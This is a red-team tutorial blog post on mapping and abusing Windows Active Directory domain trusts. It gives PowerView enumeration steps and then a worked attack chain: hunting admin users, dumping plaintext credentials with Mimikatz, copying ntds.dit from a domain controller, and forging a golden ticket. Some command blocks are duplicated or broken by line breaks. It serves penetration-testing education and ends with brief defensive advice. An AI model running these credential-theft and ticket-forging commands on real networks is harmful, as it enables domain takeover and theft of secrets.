Domain Trusts: Why You Should Care

[Edit 8/13/15] – Here is how the old version 1.9 cmdlets in this post translate to PowerView 2.0:

Get-NetForestDomains -> Get-NetForestDomain

-> Get-NetDomainTrusts -> Get-NetDomainTrust

-> Get-NetForestTrusts -> Get-NetForestTrust

-> Invoke-MapDomainTrusts -> Invoke-MapDomainTrust

-> Invoke-FindUserTrustGroups -> Find-ForeignUser

-> Get-NetDomainControllers -> Get-NetDomainController

Red teams have been abusing Windows domain trusts for years with great success, but the topic is still underrepresented in public infosec discussions. While the community has started to talk more about Active Directory exploitation (see Carlos Perez’s talk at Derbycon ’14) I haven’t seen a huge amount of information discussing domain trusts from an offensive perspective. I have to admit, this topic was pretty murky for me when I started red teaming. This is one of the big reasons I wrote the “Trusts You Might Have Missed” post.

All of this information can get a bit dense. If you don’t come from a Windows sysadmin or formalized red team background, abusing domain trusts can seem a bit foreign. I wanted to put together a concrete, multi-step example to bring everything together. Think of this as a case study. Once you see the power of domain trust abuse from an offensive perspective, I promise you’ll be a convert.

A few quick notes. While the specifics have been changed, I’ll incorporate some of what we’ve actually done in the field. I’ll walk through how I would execute these actions on an assessment, as opposed to covering every option. I’ll be heavily discussing PowerView, but always keep offensive-in-depth in mind. For the PowerShell weaponization problem we prefer to use Cobalt Strike’s PowerShell integration into Beacon, but this should be possible using whatever method you like to invoke your PowerShell functionality.

Enumeration

When I land on a foothold, our tradecraft involves performing a number of situational awareness techniques. We covered some of these in our Derbycon ’14 presentation “Passing the Torch: Old School Redteaming, New School Tactics?“. Concerning domain trusts, some of the first PowerView functions I’ll run are:

Get-NetForestDomains to see all the domains in the forest I’m residing in Get-NetDomainTrusts to see what domain trusts I can currently see (à la nltest) Get-NetForestTrusts to see if there are any implicit forest trusts

Then I’ll usually run Invoke-MapDomainTrusts | Export-CSV -NoTypeInformation trusts.csv. This will enumerate all the trusts for your current domain, and then recursively enumerate all trusts for any resulting domains it can reach. It will repeat this until it runs out of domain inputs. Translation: run this one command, and you can easily enumerate all of the reachable trust relationships for the network you’re operating in. Everything will be output to a .csv file describing the relationships.

Say that we’ve successfully phished a user who resides in the finance.mothership.com subdomain. Here’s what the output from Invoke-MapDomainTrusts | Export-CSV -NoTypeInformation trusts.csv looks like:

Visualization

This raw data can be useful, but it’s still just that, raw. For a while this is all we had to use, until my colleague @sixdub got on the case. He released a tool named DomainTrustExplorer which can take this raw data and provide analysis. Justin talks more about this tool and process in his post “Nodal Analysis of Domain Trusts – Maximizing the Win!“. One of DomainTrustExplorer’s features is GraphML output of the raw trust .csv file you feed it. Start up the script with your .csv file and then use the graphml_dump command:

The next steps are to visualize this information in yED, the free graph editor. There are a few tricks to get this all working properly. Open up the .graphml file, then go to Edit -> Properties Mapper… . Select the New Configuration (Node) section in the left pane, click the green arrow on the right, and make sure it matches the following:

Click the Apply button. Then select the New Configuration (Edge) section in the left pane, click the green arrow again, and make sure it matches what’s below:

Click Apply again, then OK to close the config dialog. Next, in the upper bar choose Tools -> Fit Node to Label. This will make the labeling look a bit nicer. Now you need choose a proper layout for your display. We like Layout -> Hierarchical as well as Layout -> Tree -> Directed, but you should play around with other layouts to see what matches your situation the best. Which display you use will depend on how many trusts you have in your data set and their exact relationships. Here’s how the Hierarchical layout looks for our sample data:

A few notes on interpreting your graph. Red arrows indicate parent-child relationships, green arrows are external relationships, and blue arrows are crosslinks. The GraphML output from DomainTrustExplorer will display the direction of ACCESS, as opposed the trust direction. This is what we tend to care about anyway. If this sounds a bit weird, read back over my first domain trust post.

Selecting one or more nodes in the main view will break out a view of those nodes and their neighbors on the center left. Right clicking on that view and selecting Convert to Document will convert that neighborhood view to a document you can manipulate.

Let’s take our example. Here the subsidiary.com domain has an external one-way trust with the corp.mothership.com domain. This means that the arrow from corp.mothership.com to subsidiary.com implies that corp.mothership.com has potential access into subsidiary.com. While this might not be privileged access, at a minimum we can still query Active Directory information from subsidiary.com.

Attack Planning

Ok, you’re probably asking at this point, so what? All these graphs can make for nice outbrief slides, but can they really help you on your path to pwnership? How exactly do you go about abusing these mapped out trust relationships?

A trust simply links up the authentication systems of domains and allows authentication traffic to flow between them. However, the entire point of a trust is to allow shared resource access between the two domains. If an organization has set up a trust, there is almost certainly some kind of shared access. This means that there are likely users who are in groups outside of their principal domain, or have specific access to computers in another domain.

In our case, we would like to compromise the crownjewels.subsidiary.com subdomain. If we can compromise an enterprise admin account in mothership.com, we inherently have access to corp.mothership.com. We then might be able to hop the one-way trust to subsidary.com and down to the crown jewels. So our path would be:

Finding exactly what groups and users in one domain have access to resources in a trusting domain can get a bit tricky. Fortunately, PowerView has some methods that can help you tease out this information. Invoke-FindUserTrustGroups will query a specific domain for all users, extract the group membership for each, and check if each user is in a group outside of their domain. If you find any users that are a part of a foreign group, you should also check out what that group’s members are, and what other groups those users are a part of. This can help you start to figure out what type of access you have or users you need to target.

In order to mine some additional information, we like to use the Get-NetLocalGroup cmdlet. This function will return the members of a given local group on a remote machine, defaulting to “Administrators”. I covered the underlying functionality in my Pass-the-Hash is Dead: Long Live Pass-the-Hash post.

Let’s try running this example against the domain controller in subsidiary.com. Hint: you can find the domain controllers for a target domain with Get-NetDomainControllers -Domain subsidiary.com.

Get-NetLocalGroup -HostName dc.subsidiary.com Server : DC AccountName : DC/Administrator SID : S-1-5-21-1584482295--1294948741--2053183852-500 Disabled : False IsGroup : False Server : DC AccountName : SUBSIDIARY/Domain Admins SID : S-1-5-21-670324959--1075471937--1674173961-512 Disabled : False IsGroup : True Server : DC AccountName : CORP/Backup Admins SID : S-1-5-21-670324959--1075471937--1674173961-1116 Disabled : False IsGroup : True 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Get - NetLocalGroup - HostName dc . subsidiary . com Server : DC AccountName : DC / Administrator SID : S - 1 - 5 - 21 - 1584482295 -- 1294948741 -- 2053183852 - 500 Disabled : False IsGroup : False Server : DC AccountName : SUBSIDIARY / Domain Admins SID : S - 1 - 5 - 21 - 670324959 -- 1075471937 -- 1674173961 - 512 Disabled : False IsGroup : True Server : DC AccountName : CORP / Backup Admins SID : S - 1 - 5 - 21 - 670324959 -- 1075471937 -- 1674173961 - 1116 Disabled : False IsGroup : True

This shows that members of corp.mothership.com group “Backup Admins” have access to the subsidiary.com domain controller. If we can compromise a member of this group, we should be able to take over the subsidiary.com DC. Since the crownjewels subdomain is a child of the subsidiary.com parent domain, this means that we could turn this into a compromise of our target, crownjewels.subsidiary.com!

Attack Execution

Now that we know the path to the crown jewels and we know what users we need to compromise, let’s see how we would get there from finance.mothership.com. Here’s the domain trust graph again for reference:

Our first step is to fully compromise mothership.com. We can get the enterprise admins for this domain using PowerView:

Get-NetGroup -Domain mothership.com -GroupName "Enterprise Admins" 1 Get - NetGroup - Domain mothership . com - GroupName "Enterprise Admins"

Now let’s hunt for a found target enterprise admin user, “jsmith”, checking to see if we have access to machines he’s found on:

Invoke-UserHunter -Domain mothership.com -UserName jsmith -CheckAccess 1 Invoke - UserHunter - Domain mothership . com - UserName jsmith - CheckAccess

Let’s say we find that we have local admin access to WORKSTATION1 where “jsmith” is logged in. We can use Invoke-MassMimikatz to grab his plaintext password:

Invoke-MassMimikatz -Hosts WORKSTATION1 1 Invoke - MassMimikatz - Hosts WORKSTATION1

We now have the plaintext credentials for an enterprise admin, meaning we own mothership.com and therefore corp.mothership.com. Let’s start a new PowerShell process using these credentials (with runas or PowerSploit) and repeat our process. We’re going to hunt for a member of the “Backup Admins” group in corp.mothership.com and grab their credentials. Let’s say that user “bob” is a member of this group and is logged in on WORKSTATION2. This is what you would run to get this information:

Get-NetGroup -Domain corp.mothership.com -GroupName "Backup Admins" Invoke-UserHunter -Domain corp.mothership.com -UserName bob Invoke-MassMimikatz -Hosts WORKSTATION2 1 2 3 Get - NetGroup - Domain corp . mothership . com - GroupName "Backup Admins" Invoke - UserHunter - Domain corp . mothership . com - UserName bob Invoke - MassMimikatz - Hosts WORKSTATION2

We can now use these credentials to gain local admin access on the domain controller for subsidiary.com. However this isn’t domain admin yet, it just grants us local access to the domain controller itself. Since this domain controller is a server 2012 instance, we’re going to use PowerSploit’s Invoke-NinjaCopy and PowerShell remoting to steal the ntds.dit database and SYSTEM hive, and then copy the hives down to our attacker machine. This is so we can extract the hash for the krbtgt account and create a golden ticket for an enterprise admin account in the subsidiary.com domain using PowerSploit’s Invoke-Mimikatz. Inject these new credentials again and go to town:

[on foothold machine] Invoke-NinjaCopy -Path "C:\Windows\NTDS

tds.dit" -ComputerName dc.subsidiary.com -LocalDestination "C:\Temp

tds.dit" Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName dc.subsidiary.com -LocalDestination "C:\Temp\SYSTEM" [on Linux attack machine] ./extract.sh ntds.dit > output ./impdump.py SYSTEM output > hashes.txt [back on foothold machine] Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:subsidiary.com /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH"' Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"' 1 2 3 4 5 6 7 8 9 10 11 [ on foothold machine ] Invoke - NinjaCopy - Path "C:\Windows\NTDS

tds.dit" - ComputerName dc . subsidiary . com - LocalDestination "C:\Temp

tds.dit" Invoke - NinjaCopy - Path "c:\Windows\System32\config\SYSTEM" - ComputerName dc . subsidiary . com - LocalDestination "C:\Temp\SYSTEM" [ on Linux attack machine ] . / extract . sh ntds . dit & gt ; output . / impdump . py SYSTEM output & gt ; hashes . txt [ back on foothold machine ] Invoke - Mimikatz - Command '"kerberos::golden /user:Administrator /domain:subsidiary.com /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH"' Invoke - Mimikatz - Command '"kerberos::ptt ticket.kirbi"'

Notice that we’re still on our original foothold machine for all phases of this attack! Our session is now operating with enterprise admin privileges in the subsidiary.com domain. This means that we have access to everything in crownjewels.subsidiary.com.

Get-NetComputers -Domain crownjewels.subsidary.com dir \\SECRET.crownjewels.subsidary.com\ADMIN$ 1 2 Get - NetComputers - Domain crownjewels . subsidary . com dir \ \ SECRET . crownjewels . subsidary . com \ ADMIN $

Defense

Unfortunately if you’re a network defender, there are few ways to really detect this type of trust enumeration and abuse. These actions heavily rely on how Active Directory is supposed to function. The one place we’ve seen detection work is on the user-hunting phase. If you have some type of internal network monitoring, the one-machine-touching-several type action should seem obvious if you’re looking for it. We’ve even seen this trip smb-based worm rules in some IDSes.

There are a few things you can do to make this type of attack chain more difficult. You should audit and visualize your domain trusts, using the same steps from this post. Make sure that any unused or unnecessary trusts are removed. You should also implement proper network segmentation if you haven’t already. There are plenty of good resources out there on this topic.

Recap

The process of enumerating, visualizing, and abusing domain trusts is something that used to take teams days to weeks to perform. However, using the techniques described above, a single person can pull all of this off in a short afternoon. This means you can start including this more advanced tradecraft even in your limited timeframe pentests.

Notice that this entire attack chain didn’t use a single exploit. Instead, it relied on native Active Directory functionality, data analysis, and the abuse of misconfigurations. There’s not a simple patch to push out for these types of vulnerabilities, meaning that you’ll be able to execute attacks like this for years to come.

Domain trusts can be complex. It will take a little bit of time to get used to enumerating and abusing them, but it’s definitely worth the effort. You can step your game up using these tactics and start owning domains way beyond what you land in. Remember, you might already have a short path to domain admin and not even know it!